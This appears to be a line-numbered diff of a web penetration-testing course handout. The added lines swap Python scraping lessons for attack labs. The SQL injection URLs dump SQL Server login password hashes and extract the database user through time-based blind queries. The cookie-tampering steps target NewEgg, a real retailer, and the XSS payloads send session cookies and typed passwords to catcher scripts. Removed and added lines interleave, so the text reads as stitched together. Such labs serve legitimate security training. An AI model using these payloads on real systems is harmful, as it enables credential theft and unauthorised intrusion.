2020 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))-- | |
2021 | - | Methods for Footprinting of a Web Application |
2021 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')-- |
2022 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')-- | |
2023 | ||
2024 | - | Gathering information using parser BeautifulSoup |
2024 | + | |
2025 | ||
2026 | ||
2027 | - | Suppose we want to collect all the hyperlinks from a web page; we can make use of a parser called BeautifulSoup.The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself. |
2027 | + | |
2028 | ############################# | |
2029 | - | To begin with, let us import the necessary packages. We will import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it. |
2029 | + | |
2030 | ############################# | |
2031 | ||
2032 | - | apt-get install python3-bs4 <-- This is already installed. You don't have to do this step |
2032 | + | |
2033 | ||
2034 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 100-- | |
2035 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 50-- | |
2036 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 25-- | |
2037 | - | import urllib |
2037 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 10-- |
2038 | - | from bs4 import BeautifulSoup |
2038 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 5-- |
2039 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 6-- | |
2040 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 7-- | |
2041 | - | The Python script given below will gather the title of web page andhyperlinks: |
2041 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 8-- |
2042 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 9-- | |
2043 | - | Now, we need a variable, which can store the URL of the website. Here, we will use avariable named ‘url’. We will also use thepage.read()function that can store the web page and assign the web page to the variable html_page. |
2043 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9-- |
2044 | ----------------------------------------------------------------------- | |
2045 | ||
2046 | We are using a union select statement because we are joining the developer's query with one of our own. | |
2047 | - | from urllib.request import urlopen |
2047 | + | Reference: |
2048 | http://www.techonthenet.com/sql/union.php | |
2049 | - | url = 'http://www.python.org' |
2049 | + | The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements. |
2050 | - | file = urlopen(url) |
2050 | + | It removes duplicate rows between the various SELECT statements. |
2051 | - | html_page = file.read() |
2051 | + | |
2052 | Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types. | |
2053 | ||
2054 | - | The html_page will be assigned as an input to create soup object. |
2054 | + | |
2055 | ||
2056 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9-- | |
2057 | - | soup_object = BeautifulSoup(html_page) |
2057 | + | |
2058 | ||
2059 | Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed. | |
2060 | - | Following two lines will print the title name with tags and without tags respectively. |
2060 | + | |
2061 | ---------------------------Type This----------------------------------- | |
2062 | ||
2063 | - | print(soup_object.title) |
2063 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9-- |
2064 | - | print(soup_object.title.text) |
2064 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9-- |
2065 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9-- | |
2066 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins-- | |
2067 | - | The line of code shown below will save all the hyperlinks. |
2067 | + | |
2068 | ----------------------------------------------------------------------- | |
2069 | ||
2070 | - | for link in soup_object.find_all('a'): |
2070 | + | |
2071 | - | print(link.get('href')) |
2071 | + | |
2072 | ||
2073 | - Another way is to see if you can get the backend to perform an arithmetic function | |
2074 | ||
2075 | ---------------------------Type This----------------------------------- | |
2076 | ||
2077 | - | *** Full example code: *** |
2077 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(2) |
2078 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-2) | |
2079 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-1) | |
2080 | ||
2081 | - | import urllib |
2081 | + | |
2082 | ||
2083 | - | from bs4 import BeautifulSoup |
2083 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=1-- |
2084 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=2-- | |
2085 | - | from urllib.request import urlopen |
2085 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=1*1 |
2086 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 >-1# | |
2087 | - | url = 'http://www.python.org' |
2087 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<99# |
2088 | - | file = urlopen(url) |
2088 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<>1# |
2089 | - | html_page = file.read() |
2089 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 2 != 3-- |
2090 | - | print(html_page) |
2090 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 &0# |
2091 | ||
2092 | - | soup_object= BeautifulSoup(html_page) |
2092 | + | |
2093 | ||
2094 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=1-- | |
2095 | - | print(soup_object.title) |
2095 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=2-- |
2096 | - | print(soup_object.title.text) |
2096 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='joe' and 1=1-- |
2097 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='dbo' and 1=1-- | |
2098 | ||
2099 | - | for link in soup_object.find_all('a'): |
2099 | + | |
2100 | - | print(link.get('href')) |
2100 | + | |
2101 | ||
2102 | ############################### | |
2103 | # Blind SQL Injection Testing # | |
2104 | ############################### | |
2105 | Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER | |
2106 | - | # Banner grabbing # |
2106 | + | |
2107 | 3 - Total Characters | |
2108 | ---------------------------Type This----------------------------------- | |
2109 | ||
2110 | - | The following Python script helps grab the banner using socket programming: |
2110 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- |
2111 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- | |
2112 | - | ------------------------------------------------------------------------------ |
2112 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds) |
2113 | ----------------------------------------------------------------------- | |
2114 | ||
2115 | - | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0800)) |
2115 | + | |
2116 | ||
2117 | - | host = input("Enter the host name: ") |
2117 | + | |
2118 | - | port = int(input("Enter Port: ")) |
2118 | + | |
2119 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'-- | |
2120 | ----------------------------------------------------------------------- | |
2121 | - | # host = '192.168.1.54' |
2121 | + | |
2122 | - | # port = 22 |
2122 | + | |
2123 | ||
2124 | - | s.connect((host, port)) |
2124 | + | |
2125 | ||
2126 | D - 1st Character | |
2127 | - | s.send(b'GET HTTP/1.1 \r\n') |
2127 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'-- |
2128 | - | ret = s.recv(1024) |
2128 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'-- |
2129 | - | print('[+]{}'.format(ret)) |
2129 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'-- |
2130 | - | except Exception as e: |
2130 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds) |
2131 | - | print('[-] Not information grabbed: {}'.format(e)) |
2131 | + | |
2132 | B - 2nd Character | |
2133 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
2134 | - | After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section. |
2134 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
2135 | ||
2136 | O - 3rd Character | |
2137 | - | ################################################### |
2137 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
2138 | - | # Server-side Validation & Client-side Validation # |
2138 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'-- |
2139 | - | ################################################### |
2139 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
2140 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
2141 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'-- | |
2142 | - | ####################################### |
2142 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- |
2143 | - | # Python Module for Validation Bypass # |
2143 | + | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
2144 | - | ####################################### |
2144 | + | |
2145 | ----------------------------------------------------------------------- | |
2146 | ||
2147 | - | The Python module that we are going to useis mechanize. Itis a Python web browser, whichis providing the facility of obtaining web forms in a web page and facilitates the submission of input values too. With the help of mechanize,we can bypass the validation and temper client-side parameters. However,before importing it in our Python script,we need to install it by executing the following command: |
2147 | + | |
2148 | ||
2149 | ||
2150 | - | pip3 install mechanize <-- This is already installed. You don't have to do this step |
2150 | + | |
2151 | ||
2152 | ||
2153 | ################################ | |
2154 | # Playing with session cookies # | |
2155 | - | Following is a Python script, which uses mechanize to bypass the validation of a web form using POST method to pass the parameter. The web form can be taken from the link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice. |
2155 | + | |
2156 | ||
2157 | - | To begin with, let us import the mechanize browser: |
2157 | + | |
2158 | Step 1: Browse to NewEgg.com | |
2159 | -------------------------Paste this into Firefox----------------------------------- | |
2160 | - | ---------------------- |
2160 | + | https://secure.newegg.com/ |
2161 | - | import mechanize |
2161 | + | ---------------------------------------------------------------------------------- |
2162 | - | ---------------------- |
2162 | + | |
2163 | ||
2164 | - | Now, we will create an object named brwsr of the mechanize browser: |
2164 | + | Step 2: Browse to the shopping cart page NewEgg.com |
2165 | -------------------------Paste this into Firefox----------------------------------- | |
2166 | https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view | |
2167 | - | brwsr = mechanize.Browser() |
2167 | + | ---------------------------------------------------------------------------------- |
2168 | ||
2169 | ||
2170 | - | The next line of code shows that the user agent is not a robot |
2170 | + | Step 3: View the current session ID |
2171 | -------------------------Paste this into Firefox----------------------------------- | |
2172 | - | -------------------------------- |
2172 | + | javascript:void(document.write(document.cookie)) |
2173 | - | brwsr.set_handle_robots( False ) |
2173 | + | |
2174 | - | -------------------------------- |
2174 | + | |
2175 | Step 4: Go back to the shopping cart page (click the back button) | |
2176 | - | Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation. |
2176 | + | --------------------------------------------------------------------------------- |
2177 | https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view | |
2178 | --------------------------------------------------------------------------------- | |
2179 | - | url = input("Enter URL ") |
2179 | + | |
2180 | ||
2181 | Step 5: Now let's modify the session ID | |
2182 | - | Now, following lines will set some parenters to true. |
2182 | + | -------------------------Paste this into Firefox----------------------------------- |
2183 | javascript:void(document.cookie="PHPSessionID=wow-this-is-fun") | |
2184 | - | ----------------------------------- |
2184 | + | |
2185 | - | brwsr.set_handle_equiv(True) |
2185 | + | |
2186 | - | brwsr.set_handle_gzip(True) |
2186 | + | |
2187 | - | brwsr.set_handle_redirect(True) |
2187 | + | |
2188 | - | brwsr.set_handle_referer(True) |
2188 | + | Step 6: Go back to the shopping cart page (click the back button) |
2189 | - | ---------------------------------- |
2189 | + | --------------------------------------------------------------------------------- |
2190 | https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view | |
2191 | --------------------------------------------------------------------------------- | |
2192 | - | Next it will open the web page and print the web form on that page. |
2192 | + | |
2193 | ||
2194 | ||
2195 | - | brwsr.open(url) |
2195 | + | Step 7: View the current session ID |
2196 | - | for form in brwsr.forms(): |
2196 | + | -------------------------Paste this into Firefox----------------------------------- |
2197 | - | print(form) |
2197 | + | javascript:void(document.write(document.cookie)) |
2198 | ------------------------------------------------------------------------------------ | |
2199 | ||
2200 | - | Next line of codes will bypass the validations on the given fields. |
2200 | + | |
2201 | ||
2202 | - | ------------------------------------ |
2202 | + | |
2203 | - | brwsr.select_form(nr=0) |
2203 | + | # What is XSS # |
2204 | - | brwsr.form['name'] = '' |
2204 | + | # https://phpapp.infosecaddicts.com/2-Intro_To_XSS.pptx # |
2205 | - | brwsr.form['gender'] = '' |
2205 | + | |
2206 | - | brwsr.submit() |
2206 | + | |
2207 | - | ------------------------------------ |
2207 | + | |
2208 | ||
2209 | - | The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have takentwo fields —‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation. |
2209 | + | |
2210 | ---------------------------Type This----------------------------------- | |
2211 | ||
2212 | - | ################################################ |
2212 | + | https://phpapp.infosecaddicts.com/xss_practice/ |
2213 | - | # Python Penetration Testing — SQLi Web Attack # |
2213 | + | |
2214 | - | ################################################ |
2214 | + | |
2215 | A really simple search page that is vulnerable should come up. | |
2216 | ||
2217 | ||
2218 | - | The attack can be categorize into the following two types: |
2218 | + | |
2219 | ||
2220 | - | - In-band SQL injection (Simple SQLi) |
2220 | + | |
2221 | - | - Inferential SQL injection (Blind SQLi) |
2221 | + | |
2222 | ||
2223 | <script>alert('So this is XSS')</script> | |
2224 | - | All types of SQLi can be implemented by manipulating input data to the application. In the following examples, we are writing a Python script to inject attack vectors to the application and analyze the output to verify the possibility of the attack. Here, we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation. |
2224 | + | |
2225 | ||
2226 | ||
2227 | - | The following Python script helps submit forms and analyze the response using mechanize: |
2227 | + | This should pop-up an alert window with your message in it proving XSS is in fact possible. |
2228 | Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/ | |
2229 | ||
2230 | - | First of all we need to import the mechanize module. |
2230 | + | |
2231 | 3. In the search box type: | |
2232 | - | ----------------------- |
2232 | + | |
2233 | - | import mechanize |
2233 | + | |
2234 | - | ----------------------- |
2234 | + | <script>alert(document.cookie)</script> |
2235 | ----------------------------------------------------------------------- | |
2236 | - | Now, provide the name of the URL for obtaining the response after submitting the form. |
2236 | + | |
2237 | ||
2238 | This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed. | |
2239 | - | url = input("Enter the full url") |
2239 | + | Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/ |
2240 | ||
2241 | 4. Now replace that alert script with: | |
2242 | - | The following line of codes will open the url. |
2242 | + | |
2243 | ||
2244 | - | ----------------------------------- |
2244 | + | <script>document.location="https://phpapp.infosecaddicts.com/xss_practice/cookie_catcher.php?c="+document.cookie</script> |
2245 | - | request = mechanize.Browser() |
2245 | + | |
2246 | - | request.open(url) |
2246 | + | |
2247 | - | ----------------------------------- |
2247 | + | |
2248 | This will actually pass your cookie to the cookie catcher that we have sitting on the webserver. | |
2249 | - | Now, we need to select the form. |
2249 | + | |
2250 | ||
2251 | 5. Now view the stolen cookie at: | |
2252 | - | request.select_form(nr=0) |
2252 | + | |
2253 | ||
2254 | https://phpapp.infosecaddicts.com/xss_practice/cookie_stealer_logs.html | |
2255 | - | Here,we will setthe column name ‘id’. |
2255 | + | |
2256 | ||
2257 | ||
2258 | - | request["id"] = "1 OR 1=1" |
2258 | + | |
2259 | ||
2260 | ||
2261 | - | Now, we need to submit the form |
2261 | + | |
2262 | ||
2263 | ||
2264 | - | response = request.submit() |
2264 | + | |
2265 | - | content = response.read() |
2265 | + | |
2266 | - | print(content) |
2266 | + | |
2267 | - | -------------------------------- |
2267 | + | |
2268 | ||
2269 | - | The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file. |
2269 | + | |
2270 | Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box. | |
2271 | - | To begin with, let us import the mechanize module. |
2271 | + | |
2272 | ||
2273 | Use Firefox to browse to the following location: | |
2274 | - | import mechanize |
2274 | + | |
2275 | ||
2276 | https://phpapp.infosecaddicts.com/xss_practice/ | |
2277 | - | Now, provide the name of the URL for obtaining the response after submitting the form. |
2277 | + | |
2278 | ||
2279 | ||
2280 | - | url = input("Enter the full url") |
2280 | + | |
2281 | - | attack_no = 1 |
2281 | + | |
2282 | ---------------------------- | |
2283 | ||
2284 | ||
2285 | - | We need to read the attack vectors from the file |
2285 | + | |
2286 | ||
2287 | <script> | |
2288 | - | with open ('vectors.txt') as v: |
2288 | + | |
2289 | document.write("<img src=\"https://phpapp.infosecaddicts.com/xss_practice/passwordgrabber.php?password=" +password+"\">"); | |
2290 | </script> | |
2291 | - | Now we will send request with each arrack vector |
2291 | + | |
2292 | ||
2293 | ||
2294 | - | for line in v: |
2294 | + | |
2295 | - | browser.open(url) |
2295 | + | |
2296 | - | browser.select_form(nr=0) |
2296 | + | |
2297 | - | browser["id"] = line |
2297 | + | https://phpapp.infosecaddicts.com/xss_practice/passwords.html |
2298 | - | res = browser.submit() |
2298 | + | |
2299 | - | content = res.read() |
2299 | + | |
2300 | ||
2301 | ||
2302 | ||
2303 | - | Now, the following line of code will write the response to the output file. |
2303 | + | |
2304 | ||
2305 | - | ----------------------------------------------------- |
2305 | + | |
2306 | - | output = open('response/'+str(attack_no)+'.txt','w') |
2306 | + | |
2307 | - | output.write(content) |
2307 | + | |
2308 | - | output.close() |
2308 | + | |
2309 | - | print attack_no |
2309 | + | |
2310 | - | attack_no += 1 |
2310 | + | |
2311 | - | ----------------------------------------------------- |
2311 | + | |
2312 | ||
2313 | ||
2314 | - | By checking and analyzing the responses, we can identify the possible attacks. For example,if it provides the response that include the sentence You have an error in your SQL syntax then it means the form may be affected by SQL injection. |
2314 | + | |
2315 | ||
2316 | ############################## | |
2317 | - | ############################################### |
2317 | + | # Bannergrabbing a webserver # |
2318 | - | # Python Penetration Testing — XSS Web Attack # |
2318 | + | |
2319 | - | ############################################### |
2319 | + | |
2320 | ---------------------------Type This----------------------------------- | |
2321 | nano bannergrab.py | |
2322 | - | Types of XSS Attack |
2322 | + | |
2323 | ||
2324 | ---------------------------Paste This---------------------------------- | |
2325 | - | The attack can be classified into the following major categories: |
2325 | + | |
2326 | #!/usr/bin/env python3 | |
2327 | - | -Persistent or stored XSS |
2327 | + | |
2328 | - | -Non-persistent or reflected XSS |
2328 | + | |
2329 | ||
2330 | # Great reference: https://www.mkyong.com/python/python-3-typeerror-cant-convert-bytes-object-to-str-implicitly/ | |
2331 | ||
2332 | - | Same as SQLi, XSS web attacks can be implemented by manipulating input data to the application. In the following examples, we are modifying the SQLi attack vectors, done in previous section, to test XSS web attack. The Python script given below helps analyze XSS attack using mechanize: |
2332 | + | |
2333 | s.connect(("45.63.104.73", 80)) | |
2334 | - | To begin with, let us import the mechanize module. |
2334 | + | |
2335 | ||
2336 | #Convert response to bytes | |
2337 | - | import mechanize |
2337 | + | |
2338 | - | ----------------------- |
2338 | + | |
2339 | #response = "".encode() | |
2340 | ||
2341 | - | Now, provide the name of the URL for obtaining the response after submitting the form. |
2341 | + | |
2342 | data = s.recv(4096) | |
2343 | - | ---------------------------------- |
2343 | + | |
2344 | - | url = input("Enter the full url") |
2344 | + | |
2345 | - | attack_no = 1 |
2345 | + | |
2346 | - | ---------------------------------- |
2346 | + | |
2347 | print(response.decode()) | |
2348 | - | We need to read the attack vectors from the file. |
2348 | + | |
2349 | ||
2350 | - | --------------------------------------- |
2350 | + | |
2351 | - | with open ('vectors_XSS.txt') as x: |
2351 | + | |
2352 | python3 bannergrab.py | |
2353 | ----------------------------------------------------------------------- | |
2354 | - | Now we will send request with each arrack vector |
2354 | + | |
2355 | ||
2356 | - | ------------------------- |
2356 | + | |
2357 | - | for line in x: |
2357 | + | |
2358 | - | browser.open(url) |
2358 | + | |
2359 | - | browser.select_form(nr=0) |
2359 | + | |
2360 | - | browser["id"] = line |
2360 | + | |
2361 | - | res = browser.submit() |
2361 | + | |
2362 | - | content = res.read() |
2362 | + | |
2363 | ||
2364 | To begin with, we need to import the requests library: | |
2365 | ||
2366 | - | The following line of code will check the printed attack vector. |
2366 | + | |
2367 | import requests | |
2368 | --------------------------- | |
2369 | - | if content.find(line) > 0: |
2369 | + | |
2370 | - | print("Possible XSS") |
2370 | + | |
2371 | ||
2372 | ---------------------------------------------------------------------------- | |
2373 | method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST'] | |
2374 | - | The following line of code will write the response to output file. |
2374 | + | |
2375 | ||
2376 | The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code. | |
2377 | ||
2378 | - | output = open('response/'+str(attack_no)+'.txt','w') |
2378 | + | |
2379 | - | output.write(content) |
2379 | + | |
2380 | - | output.close() |
2380 | + | req = requests.request(method, 'https://www.google.com') |
2381 | - | print attack_no |
2381 | + | |
2382 | - | attack_no += 1 |
2382 | + | |
2383 | - | ---------------------------------------------------------- |
2383 | + | |
2384 | ||
2385 | ------------------------------------------------------ | |
2386 | - | *** Full example code: *** |
2386 | + | |
2387 | req = requests.request(method, 'https://www.darkoperator.com') | |
2388 | - | ------------------------------------------------------------------ |
2388 | + | |
2389 | - | import mechanize |
2389 | + | |
2390 | ||
2391 | - | url = input("Enter the full url") |
2391 | + | |
2392 | - | attack_no = 1 |
2392 | + | |
2393 | for method in method_list: | |
2394 | - | with open ('vectors_XSS.txt') as x: |
2394 | + | |
2395 | - | for line in x: |
2395 | + | |
2396 | - | browser.open(url) |
2396 | + | |
2397 | - | browser.select_form(nr=0) |
2397 | + | |
2398 | - | browser["id"] = line |
2398 | + | |
2399 | - | res = browser.submit() |
2399 | + | |
2400 | - | content = res.read() |
2400 | + | |
2401 | req = requests.request(method, 'http://www.dybedu.com') | |
2402 | - | if content.find(line) > 0: |
2402 | + | |
2403 | - | print("Possible XSS") |
2403 | + | |
2404 | ||
2405 | - | output = open('response/'+str(attack_no)+'.txt','w') |
2405 | + | |
2406 | - | output.write(content) |
2406 | + | |
2407 | - | output.close() |
2407 | + | |
2408 | - | print attack_no |
2408 | + | |
2409 | - | attack_no += 1 |
2409 | + | |
2410 | - | ----------------------------------------------------------------- |
2410 | + | |
2411 | ------------------------------------------------------------- | |
2412 | - | XSS occurs when a user input prints to the response without any validation. Therefore, to check the possibility of an XSS attack, we can check the response text for the attack vector we provided. If the attack vector is present in the response without any escape or validation,there is a high possibility of XSS attack. |
2412 | + | |
2413 | ||
2414 | *** Full code with example url: *** | |
2415 | ||
2416 | ---------------------------Type This----------------------------------- | |
2417 | nano xst.py | |
2418 | ||
2419 | ||
2420 | ---------------------------Paste This---------------------------------- | |
2421 | #!/usr/bin/env python3 | |
2422 | import requests | |
2423 | method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST'] | |
2424 | for method in method_list: | |
2425 | req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php') | |
2426 | print (method, req.status_code, req.reason) | |
2427 | if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text: | |
2428 | print ('Cross Site Tracing(XST) is possible') | |
2429 | ||
2430 | ------------------------------------------------------------------------- | |
2431 | ||
2432 | ||
2433 | After running the above script for a particular web server, we will get 200 OK responses for a particular method accepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’. | |
2434 | ||
2435 | ||
2436 | ---------------------------Type This----------------------------------- | |
2437 | python3 xst.py | |
2438 | ----------------------------------------------------------------------- | |
2439 | ||
2440 | ||
2441 | ||
2442 | ########################################## | |
2443 | # Foot printing by checking HTTP headers # | |
2444 | ########################################## | |
2445 | ||
2446 | ||
2447 | HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server: | |
2448 | ||
2449 | To begin with, let us import the requests library: | |
2450 | ||
2451 | ------------------------ | |
2452 | import requests | |
2453 | ------------------------ | |
2454 | - | ################# Do not do this lab ################# |
2454 | + | |
2455 | We need to send a GET request to the web server. The following line of code makes a simple GET request through the requests library. | |
2456 | - | nano titlegrab.py |
2456 | + | |
2457 | --------------------------------------------- | |
2458 | request = requests.get('enter the URL') | |
2459 | --------------------------------------------- | |
2460 | ||
2461 | Next, we will generate a list of headers about which you need the information. | |
2462 | - | from bs4 import BeautifulSoup |
2462 | + | |
2463 | --------------------------------------------------------------------------------------------------------------- | |
2464 | - | def main(): |
2464 | + | |
2465 | - | print("\nPage URL and Title") |
2465 | + | |
2466 | - | print("-----------------------------------------------------------------") |
2466 | + | |
2467 | Next is a try and except block. | |
2468 | - | urls = ['http://www.google.com', 'http://www.cnn.com', 'http://www.foxnes.com'] |
2468 | + | |
2469 | --------------------------------------------------- | |
2470 | - | for url in urls: |
2470 | + | |
2471 | - | r = requests.get(url) |
2471 | + | |
2472 | - | soup = BeautifulSoup(r.text, 'html.parser') |
2472 | + | |
2473 | result = request.headers[header] | |
2474 | - | print(url + " = " + soup.title.string) |
2474 | + | |
2475 | except Exception as err: | |
2476 | - | if __name__ == "__main__": |
2476 | + | |
2477 | - | main() |
2477 | + | |
2478 | --------------------------------------------------- | |
2479 | - | ################# end of lab that doesn't work ################# |
2479 | + | |
2480 | ||
2481 | ||
2482 | ||
2483 | *** Example Full Code: *** | |
2484 | ||
2485 | ---------------------------Type This----------------------------------- | |
2486 | nano headercheck.py | |
2487 | ||
2488 | ||
2489 | ---------------------------Paste This---------------------------------- | |
2490 | #!/usr/bin/env python3 | |
2491 | import requests | |
2492 | request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php') | |
2493 | header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length'] | |
2494 | for header in header_list: | |
2495 | try: | |
2496 | result = request.headers[header] | |
2497 | print ('%s: %s' % (header, result)) | |
2498 | - | TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION |
2498 | + | |
2499 | - | for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP |
2499 | + | |
2500 | ---------------------------------------------------------------------------------------------------------------- | |
2501 | ||
2502 | ||
2503 | After running the above script for a particular web server, we will get the information about the headers provided in the header list. If there will be no information for a particular header then it will give the message ‘No Details Found’. | |
2504 | ||
2505 | ||
2506 | - | if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE |
2506 | + | |
2507 | python3 headercheck.py | |
2508 | ----------------------------------------------------------------------- | |
2509 | ||
2510 | ||
2511 | - | TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION |
2511 | + | |
2512 | # Testing insecure web server configurations # | |
2513 | ############################################## | |
2514 | ||
